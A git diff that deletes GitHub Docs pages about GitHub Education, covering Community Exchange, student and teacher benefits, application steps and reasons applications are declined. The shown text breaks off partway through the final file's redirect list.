a/content/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange.md +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Getting started with GitHub Community Exchange -shortTitle: Get started -intro: 'Learn how to access {% data variables.product.prodname_community_exchange %} and submit your repository.' -versions: - fpt: '*' ---- - -## Introduction - -{% data reusables.education.about-github-community-exchange-intro %} {% data variables.product.prodname_community_exchange %} can help you make your first open source contribution or grow your own open source project. - -For more information about how {% data variables.product.prodname_community_exchange %} can help you as a student, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange). - -## Accessing {% data variables.product.prodname_community_exchange %} - -{% data reusables.education.access-github-community-exchange %} - -## Finding interesting repositories - -You can browse repositories submitted to {% data variables.product.prodname_community_exchange %} from the gallery page. - -As you think about what open source repositories may be interesting, consider if you're wanting to learn or collaborate, or if there are particular topics or languages that could be a good starting point. - -When exploring repositories in the {% data variables.product.prodname_community_exchange %} gallery, you can filter available repositories by purpose, topics, or languages, and search for repositories by name and description. You can sort the list of repositories in the gallery by submission date, or by the number of stars, forks, or issues a repository has. - -## Starring repositories - -You can star repositories listed in the {% data variables.product.prodname_community_exchange %} gallery. Starring makes it easy to find a repository in the gallery again later. Starring a repository also shows appreciation to the repository maintainer for their work. - -Repository listings in the {% data variables.product.prodname_community_exchange %} gallery can be sorted on the number of stars a repository has. - -To star a repository: Go to your {% data variables.product.prodname_community_exchange %} home page, find the repository you want to star, and click **{% octicon "star" aria-hidden="true" %} Star** button found right by its name. - -## Reporting abuse - -The {% data variables.product.prodname_community_exchange %} community moderates repository submissions. You can report abusive repositories, spammy, or disruptive content at any time. - -To report an abusive repository: Go to your {% data variables.product.prodname_community_exchange %} home page, find the repository you want to report, click the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down right by its name, then click **{% octicon "report" aria-hidden="true" %} Report abuse**. - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange) diff --git a/content/education/contribute-with-github-community-exchange/index.md b/content/education/contribute-with-github-community-exchange/index.md deleted file mode 100644 index c0deade414b0..000000000000 --- a/content/education/contribute-with-github-community-exchange/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Contribute with GitHub Community Exchange -shortTitle: '{% data variables.product.prodname_community_exchange %}' -intro: 'With {% data variables.product.prodname_community_exchange %}, you can use {% data variables.product.github %} to contribute to open source and build your portfolio.' -versions: - fpt: '*' -children: - - /getting-started-with-github-community-exchange - - /submitting-your-repository-to-github-community-exchange - - /managing-your-submissions-to-github-community-exchange ---- - diff --git a/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md b/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md deleted file mode 100644 index 5578cfd5cc68..000000000000 --- a/content/education/contribute-with-github-community-exchange/managing-your-submissions-to-github-community-exchange.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: Managing your submissions to GitHub Community Exchange -shortTitle: Manage your submissions -intro: 'You can manage the purpose, topics, and offers assigned to each of your repositories in the {% data variables.product.prodname_community_exchange %} gallery, or delete your repository submissions.' -versions: - fpt: '*' ---- - -## About your submissions - -During the {% data variables.product.prodname_community_exchange %} submission process, you will choose a purpose, topics, and offers for your repository. Once a repository has been submitted to {% data variables.product.prodname_community_exchange %}, it will be published with these details. For more information, see [AUTOTITLE](/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange). - -After you've submitted, you can still edit the topics and offers associated with your repository. You can also update the purpose of your repository by changing the corresponding topic(s). For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). - -The language associated with your repository is the primary language used and is automatically determined by {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-repository-languages). - -The {% data variables.product.prodname_community_exchange %} community moderates all repository submissions. - -## Managing your submissions - -1. From your {% data variables.product.prodname_global_campus %} dashboard, navigate to the {% data variables.product.prodname_community_exchange %} home page. -1. Above the list of repositories, click the **Submissions** tab. - ![Screenshot of the "Submissions" tab, under the search bar and next to the "Gallery" tab, on the GitHub Community Exchange home page.](/assets/images/help/education/community-exchange-submissions-tab.png) -1. Optionally, edit your submitted repository. To the right of the repository you want to edit, click {% octicon "pencil" aria-label="The edit icon" %} to go directly to your repository homepage. From there, you can update the purpose, topics, and offers assigned to your repository. -1. Optionally, delete a submitted repository from the gallery. To the right of the repository submission you want to remove, click {% octicon "trash" aria-label="The trash icon" %}. diff --git a/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md b/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md deleted file mode 100644 index 1e74dbdbd03a..000000000000 --- a/content/education/contribute-with-github-community-exchange/submitting-your-repository-to-github-community-exchange.md +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: Submitting your repository to GitHub Community Exchange -shortTitle: Submit your repository -intro: 'You can submit your repository to {% data variables.product.prodname_community_exchange %} for others to view or contribute to.' -versions: - fpt: '*' ---- - -## About repository submissions - -Only public repositories owned by personal accounts can be submitted to {% data variables.product.prodname_community_exchange %}. - -There are three types of repository submissions: - -* **Learn.** A repository to share step-by-step instructions to build a project. -* **Collaborate.** A repository seeking collaborators to work on a project. -* **Learn and Collaborate.** A repository which is a combination of `Learn` and `Collaborate`. - -Consider what the main purpose of your repository is when choosing the type of submission for your repository. - -To promote your project and make it more discoverable to other students, you should assign one or more topics and {% data variables.product.prodname_student_pack %} offers to your repository. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics). - -Once a repository has been submitted to {% data variables.product.prodname_community_exchange %}, it will be published immediately with the purpose, topics, and offers you've chosen. The {% data variables.product.prodname_community_exchange %} community moderates all repository submissions. - -### Submission requirements - -Your repository must meet a minimum set of requirements for a submission to be accepted. During the submission process, if the submission criteria hasn't been met for your selected repository, you will be notified of the missing items. - -For a submission with a purpose of `Learn`, your repository must have: -* A description. -* A LEARN.md file to provide step-by-step instructions, with text and/or media, on how you built your project. Ideally, your LEARN.md file will deconstruct your project into small components and provide thorough details of each step, so that other students can code their project by following your instructions. -* A README.md file to provide a detailed description of your project. -* A License so others are aware of what they can and cannot do with your source code. - -For a submission with a purpose of `Collaborate`, your repository must have: -* A description. -* A README.md file to provide a detailed description of your project. -* A License so others are aware of what they can and cannot do with your source code. -* One or more issues for collaborators to work on. -* CONTRIBUTING.md file to communicate how to contribute to your project. - -A good repository submission for both `Learn` and `Collaborate` purposes, is a repository that follows community standards. For more information, see [AUTOTITLE](/communities/setting-up-your-project-for-healthy-contributions/about-community-profiles-for-public-repositories). - -## Submitting your repository - -1. From your {% data variables.product.prodname_global_campus %} dashboard, navigate to the {% data variables.product.prodname_community_exchange %} home page. -1. Above the list of repositories, to the right of the search and dropdown filters, click **Add repository**. - ![Screenshot of a row of buttons and dropdown menus. The "Add repository" button is outlined in dark orange.](/assets/images/help/education/community-exchange-submission-add-repo.png) -1. In the pop-up window, use the **What is the purpose of your submission?** drop-down menu and select one or more entries matching your submission. -1. Use the **Which repository would you like to use?** drop-down menu and select the repository for your submission. If the submission criteria hasn't been met, you will be notified of the missing items, and you can click on **Edit your repository** if you want to view the repository and make changes to meet the criteria. -1. Use the **Which offers did you use for your project?** drop-down menu and select one or more entries matching your submission. -1. Click **Submit the project**. diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-community-exchange.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-community-exchange.md deleted file mode 100644 index 10234a6a48c8..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-community-exchange.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: About GitHub Community Exchange -intro: 'Learn the skills you need to contribute to open source projects and grow your own portfolio, with {% data variables.product.prodname_community_exchange %}.' -redirect_from: - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-community-exchange - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange -versions: - fpt: '*' -shortTitle: About Community Exchange ---- - -## About {% data variables.product.prodname_community_exchange %} - -{% data reusables.education.about-github-community-exchange-intro %} - -You can help your peers learn open source skills, become a project maintainer, and grow your {% data variables.product.prodname_dotcom %} portfolio and network within a safe and verified community platform. - -{% data variables.product.prodname_community_exchange %} allows you to: -* Discover student created repositories -* Star repositories of interest -* Submit a repository in need of collaborators -* Submit a repository to teach new skills -* Manage your repository submissions - -For more information, see [AUTOTITLE](/education/contribute-with-github-community-exchange). - -{% data reusables.education.access-github-community-exchange %} - -## Further reading - -* [AUTOTITLE](/education/contribute-with-github-community-exchange/getting-started-with-github-community-exchange) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-education-for-students.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-education-for-students.md deleted file mode 100644 index 3c8a80502c92..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/about-github-education-for-students.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: About GitHub Education for students -intro: '{% data variables.product.prodname_education %} offers students real-world experience with free access to various developer tools from {% data variables.product.prodname_dotcom %}''s partners.' -redirect_from: - - /education/teach-and-learn-with-github-education/about-github-education-for-students - - /github/teaching-and-learning-with-github-education/about-github-education-for-students - - /articles/about-github-education-for-students - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-students - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/about-github-education-for-students - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students -versions: - fpt: '*' -shortTitle: For students ---- -Using {% data variables.product.prodname_dotcom %} for your school projects is a practical way to collaborate with others and build a portfolio that showcases real-world experience. - -Everyone with a {% data variables.product.prodname_dotcom %} account can collaborate in unlimited public and private repositories with {% data variables.product.prodname_free_user %}. As a student, you can also apply for {% data variables.product.prodname_education %} student benefits. Your {% data variables.product.prodname_education %} student benefits and resources are all included in {% data variables.product.prodname_global_campus %}, a portal that allows you to access your education benefits, all in one place. For more information, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student) and [{% data variables.product.prodname_education %}](https://education.github.com/). - -Before applying for {% data variables.product.prodname_global_campus %}, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program). - -If you're a member of a school club, a teacher can apply for {% data variables.product.prodname_global_campus %} so your team can collaborate using {% data variables.product.prodname_team %}, which allows unlimited users and private repositories, for free. For more information, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). - -Once you are a verified {% data variables.product.prodname_global_campus %} student, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). - -## {% data variables.product.prodname_global_campus %} features for students - -{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, students can: -* Connect with a local Campus Expert. For more information on campus experts, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-experts). -* Gain in-depth understanding of a feature, tool, or topic with curated experiences designed to support your learning journey. -* Explore and claim offers for free industry tools from the [Student Developer Pack](https://education.github.com/pack). -* See upcoming in-person and virtual events for students, curated by {% data variables.product.prodname_education %} and student leaders. -* View assignments from [GitHub Classroom](https://classroom.github.com/) with upcoming due dates. -* Stay in the know on what the community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand. -* Discover student-created repositories from {% data variables.product.prodname_community_exchange %}. For more information, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange). - -{% data variables.product.prodname_global_campus %} students also receive the following {% data variables.product.prodname_dotcom %} benefits. -* **{% data variables.product.prodname_copilot %}:** Verified students receive a free subscription for {% data variables.product.prodname_copilot %}. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer). -* **{% data variables.product.prodname_github_codespaces %}:** {% data reusables.education.student-codespaces-benefit %} For more information on getting started with {% data variables.product.prodname_github_codespaces %}, see [AUTOTITLE](/codespaces/quickstart). - -> [!NOTE] -> {% data reusables.education.note-on-student-codespaces-usage %} For more information, see [AUTOTITLE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide/using-github-codespaces-with-github-classroom). - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers) -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-community-exchange) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student.md deleted file mode 100644 index 0c59e623691b..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/apply-to-github-education-as-a-student.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: Apply to GitHub Education as a student -intro: 'As a student, you can apply to join {% data variables.product.prodname_global_campus %} and receive access to the student resources and benefits offered by {% data variables.product.prodname_education %}' -redirect_from: - - /education/teach-and-learn-with-github-education/apply-for-a-student-developer-pack - - /github/teaching-and-learning-with-github-education/applying-for-a-student-developer-pack - - /articles/applying-for-a-student-developer-pack - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-a-student-developer-pack - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/apply-for-a-student-developer-pack - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student -versions: - fpt: '*' -shortTitle: Apply to GitHub Education ---- -{% data reusables.education.about-github-education-link %} - -## Requirements - -To be eligible for {% data variables.product.prodname_global_campus %}, including {% data variables.product.prodname_student_pack %} and other benefits, you must: -* Be currently enrolled in a degree or diploma granting course of study such as a high school, secondary school, college, university, homeschool, or similar educational institution -* Have a verifiable school-issued email address or upload documents that prove your current student status -* Have a [{% data variables.product.prodname_dotcom %} personal account](/get-started/start-your-journey/creating-an-account-on-github) -* Be at least 13 years old - -Documents that prove your current student status include a picture of your school ID with current enrollment date, class schedule, transcript, and affiliation or enrollment verification letter. - -During your tenure as a student, you may be prompted to periodically re-verify your current academic status. - -> [!NOTE] -> You cannot transfer academic discounts from one account to another. If you have more than one account you want to apply the discount to, consider [merging](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts) your personal accounts and [renaming](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username) the retained account if desired. - -For information about renewing your {% data variables.product.prodname_global_campus %} access, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student#expiration-and-renewals). - -## Applying to {% data variables.product.prodname_global_campus %} - -{% data reusables.education.benefits-page %} -1. Under "Select your role in education", select **Student**. -{% data reusables.education.school-name %} -{% data reusables.education.select-email-address %} -{% data reusables.education.upload-proof-status %} -{% data reusables.education.submit-application %} - -## Expiration and renewals - -Once your {% data variables.product.prodname_global_campus %} access expires, you may reapply if you're still eligible, although some of our partner offers for {% data variables.product.prodname_student_pack %} cannot renew. Most of the timed offers from our partners start once you set them up. To reapply, first make sure that you are signed in to your {% data variables.product.prodname_education %} account. Then, navigate to https://education.github.com/learner/learn, click your profile picture, then click **Your benefits application**. - -![Screenshot of a profile menu on the GitHub Education website. The "Your benefits application" menu option is outlined in red.](/assets/images/help/education/your-benefits-application.png) - -For more information, see the [{% data variables.product.prodname_student_pack %}](https://education.github.com/pack) page. - -To see when your free access to the {% data variables.product.prodname_student_pack %} expires, visit your account's [billing settings](https://github.com/settings/billing). - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved) -* [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github) -* [AUTOTITLE](/education/manage-coursework-with-github-classroom/get-started-with-github-classroom/about-github-classroom) -* [{% data variables.product.prodname_education %}](https://education.github.com) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/index.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/index.md deleted file mode 100644 index 5585d671b62b..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: GitHub Education for students -intro: 'As a student, use {% data variables.product.prodname_dotcom %} to collaborate on your school projects and build real-world experience.' -redirect_from: - - /education/teach-and-learn-with-github-education/use-github-for-your-schoolwork - - /github/teaching-and-learning-with-github-education/using-github-for-your-schoolwork - - /articles/using-github-for-your-schoolwork - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students -versions: - fpt: '*' -children: - - /about-github-education-for-students - - /apply-to-github-education-as-a-student - - /why-wasnt-my-application-to-github-education-for-students-approved - - /about-github-community-exchange -shortTitle: About GitHub Education for students ---- - diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/why-wasnt-my-application-to-github-education-for-students-approved.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/why-wasnt-my-application-to-github-education-for-students-approved.md deleted file mode 100644 index 737569b0b170..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-students/why-wasnt-my-application-to-github-education-for-students-approved.md +++ /dev/null @@ -1,69 +0,0 @@ ---- -title: Why wasn't my application to GitHub Education for students approved? -intro: 'Review common reasons that applications for {% data variables.product.prodname_global_campus %} are not approved and learn tips for reapplying successfully.' -redirect_from: - - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved - - /github/teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved - - /articles/why-was-my-application-for-a-student-developer-pack-denied - - /articles/why-wasn-t-my-application-for-a-student-developer-pack-approved - - /articles/why-wasnt-my-application-for-a-student-developer-pack-approved - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/why-wasnt-my-application-for-a-student-developer-pack-approved - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-for-your-schoolwork/why-wasnt-my-application-for-a-student-developer-pack-approved - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/why-wasnt-my-application-to-global-campus-for-students-approved -versions: - fpt: '*' -shortTitle: Application not approved ---- - -> [!TIP] -> {% data reusables.education.about-github-education-link %} - -## Unclear academic affiliation documents - -If the dates or schedule mentioned in your uploaded image do not match our eligibility criteria, we require further proof of your academic status. - -If the image you uploaded doesn't clearly identify your current academic status or if the uploaded image is blurry, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} - -{% data reusables.education.pdf-support %} - -## Using an academic email with an unverified domain - -If your academic email address has an unverified domain, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} - -{% data reusables.education.pdf-support %} - -## Using an academic email from a school with lax email policies - -If your school issues email addresses prior to paid student enrollment, we require further proof of your academic status. {% data reusables.education.upload-proof-reapply %} - -{% data reusables.education.pdf-support %} - -If you have other questions or concerns about the school domain please ask your school IT staff to contact us. - -## Academic email address already used - -If your academic email address was already used to request a {% data variables.product.prodname_student_pack %} for a different {% data variables.product.prodname_dotcom %} account, you cannot reuse the academic email address to successfully apply for another {% data variables.product.prodname_student_pack %}. - -> [!NOTE] -> It is against the {% data variables.product.prodname_dotcom %} [Terms of Service](/site-policy/github-terms/github-terms-of-service#3-account-requirements) to maintain more than one individual account. - -If you have more than one personal account, you must merge your accounts. To retain the discount, keep the account that was granted the discount. You can rename the retained account and keep your contribution history by adding all your email addresses to the retained account. - -For more information, see: -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-personal-account/merging-multiple-personal-accounts) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/changing-your-github-username) -* [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/adding-an-email-address-to-your-github-account) - -## Ineligible student status - -You're ineligible for a {% data variables.product.prodname_student_pack %} if: -* You're enrolled in an informal learning program that is not part of the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools) and not enrolled in a degree or diploma granting course of study. -* You're pursuing a degree which will be terminated in the current academic session. -* You're under 13 years old. - -Your instructor may still apply for a {% data variables.product.prodname_education %} discount for classroom use. If you're a student at a coding school or bootcamp, you will become eligible for a {% data variables.product.prodname_student_pack %} if your school joins the [{% data variables.product.prodname_campus_program %}](https://education.github.com/schools). - -## Further reading - -* [How to get the GitHub Student Developer Pack without a student ID](https://github.blog/2019-07-30-how-to-get-the-github-student-developer-pack-without-a-student-id/) on {% data variables.product.prodname_blog %} -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/apply-to-github-global-campus-as-a-student) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/about-github-education-for-teachers.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/about-github-education-for-teachers.md deleted file mode 100644 index 0dbcd1506f41..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/about-github-education-for-teachers.md +++ /dev/null @@ -1,36 +0,0 @@ ---- -title: About GitHub Education for teachers -intro: '{% data variables.product.prodname_global_campus %} offers teachers a central place to access tools and resources for working more effectively inside and outside of the classroom.' -redirect_from: - - /education/teach-and-learn-with-github-education/about-github-education-for-educators-and-researchers - - /github/teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers - - /articles/about-github-education-for-educators-and-researchers - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/about-github-education-for-educators-and-researchers - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/about-github-education-for-educators-and-researchers - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/about-github-global-campus-for-teachers -versions: - fpt: '*' -shortTitle: For teachers ---- - -As a faculty member at an accredited educational institution, you can apply for {% data variables.product.prodname_global_campus %}, which includes {% data variables.product.prodname_education %} benefits and resources. For more information, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher). - -{% data variables.product.prodname_global_campus %} is a portal that allows the GitHub Education Community to access their education benefits, all in one place. Once you are a verified {% data variables.product.prodname_global_campus %} teacher, you can access {% data variables.product.prodname_global_campus %} anytime by going to the [{% data variables.product.prodname_education %} website](https://education.github.com). - -Before applying for an individual discount, check if your learning community is already partnered with us as a {% data variables.product.prodname_campus_program %} school. For more information, see [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-at-your-educational-institution/about-github-campus-program). - -## {% data variables.product.prodname_global_campus %} features for teachers - -{% data variables.product.prodname_global_campus %} is a portal from which you can access your {% data variables.product.prodname_education %} benefits and resources, all in one place. On the {% data variables.product.prodname_global_campus %} portal, teachers of all levels can: - {% data reusables.education.apply-for-team %} -* View an overview of your active [{% data variables.product.prodname_classroom %}](https://classroom.github.com), including recent assignments and your class's progress at a glance, as well as links to {% data variables.product.prodname_classroom %}. -* View and interact with [{% data variables.product.prodname_discussions %}](https://github.com/orgs/community/discussions/categories/github-education) posted by your peers from around the world to discuss current trends in technology education, and see the latest posts from our [{% data variables.product.prodname_education %} blog](https://github.blog/category/education/). -* See student events curated by {% data variables.product.prodname_education %} and student leaders. -* Stay in the know on what the student community is interested in by rewatching recent [Campus TV](https://www.twitch.tv/githubeducation) episodes. Campus TV is created by {% data variables.product.prodname_dotcom %} and student community leaders and can be watched live or on demand. -* Request a {% data variables.product.prodname_dotcom %} swag bag with educational materials and goodies for your students. - -A free subscription for {% data variables.product.prodname_copilot %} is available to verified teachers with {% data variables.product.prodname_education %}. See [AUTOTITLE](/copilot/managing-copilot/managing-copilot-as-an-individual-subscriber/getting-free-access-to-copilot-as-a-student-teacher-or-maintainer). - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-students/about-github-global-campus-for-students) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/apply-to-github-education-as-a-teacher.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/apply-to-github-education-as-a-teacher.md deleted file mode 100644 index 246927136b6f..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/apply-to-github-education-as-a-teacher.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: Apply to GitHub Education as a teacher -intro: 'If you''re a teacher, you can apply to join {% data variables.product.prodname_global_campus %} and receive access to the resources and benefits of {% data variables.product.prodname_education %}.' -redirect_from: - - /education/teach-and-learn-with-github-education/apply-for-an-educator-or-researcher-discount - - /github/teaching-and-learning-with-github-education/applying-for-an-educator-or-researcher-discount - - /articles/applying-for-a-classroom-discount - - /articles/applying-for-a-discount-for-your-school-club - - /articles/applying-for-an-academic-research-discount - - /articles/applying-for-a-discount-for-your-first-robotics-team - - /articles/applying-for-an-educator-or-researcher-discount - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/apply-for-an-educator-or-researcher-discount - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research/apply-for-an-educator-or-researcher-discount - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/apply-to-github-global-campus-as-a-teacher -versions: - fpt: '*' -shortTitle: Apply to GitHub Education ---- -## About teacher discounts - -{% data reusables.education.about-github-education-link %} - -{% data reusables.education.educator-requirements %} - -For more information about personal accounts on {% data variables.product.github %}, see [AUTOTITLE](/get-started/start-your-journey/creating-an-account-on-github). - -## Applying to {% data variables.product.prodname_global_campus %} - -{% data reusables.education.benefits-page %} -1. Under "Select your role in education", select **Teacher**. -{% data reusables.education.select-email-address %} -{% data reusables.education.school-name %} -{% data reusables.education.upload-proof-status %} -{% data reusables.education.submit-application %} - -## Further reading - -* [AUTOTITLE](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers/why-wasnt-my-application-to-global-campus-for-teachers-approved) -* [{% data variables.product.prodname_education %}](https://education.github.com) -* [{% data variables.product.prodname_classroom %} Videos](https://classroom.github.com/videos) -* [{% data variables.product.prodname_education_community %}]({% data variables.product.prodname_education_forum_link %}) diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/index.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/index.md deleted file mode 100644 index 3387d719084d..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/index.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: GitHub Education for teachers -intro: 'As a teacher, use {% data variables.product.prodname_dotcom %} to collaborate on your work in a classroom, student or research group, and more.' -redirect_from: - - /education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research - - /github/teaching-and-learning-with-github-education/using-github-in-your-classroom-and-research - - /articles/using-github-in-your-classroom-and-research - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research - - /education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-global-campus-for-teachers -versions: - fpt: '*' -children: - - /about-github-education-for-teachers - - /apply-to-github-education-as-a-teacher - - why-wasnt-my-application-to-github-education-for-teachers-approved -shortTitle: About GitHub Education for teachers ---- - diff --git a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/why-wasnt-my-application-to-github-education-for-teachers-approved.md b/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/why-wasnt-my-application-to-github-education-for-teachers-approved.md deleted file mode 100644 index 23fc8999ea4d..000000000000 --- a/content/education/explore-the-benefits-of-teaching-and-learning-with-github-education/github-education-for-teachers/why-wasnt-my-application-to-github-education-for-teachers-approved.md +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: Why wasn't my application to GitHub Education for teachers approved? -intro: 'Review common reasons that applications for {% data variables.product.prodname_global_campus %} are not approved and learn tips for reapplying successfully.' -redirect_from: - - /education/teach-and-learn-with-github-education/why-wasnt-my-application-for-an-educator-or-researcher-discount-approved - - 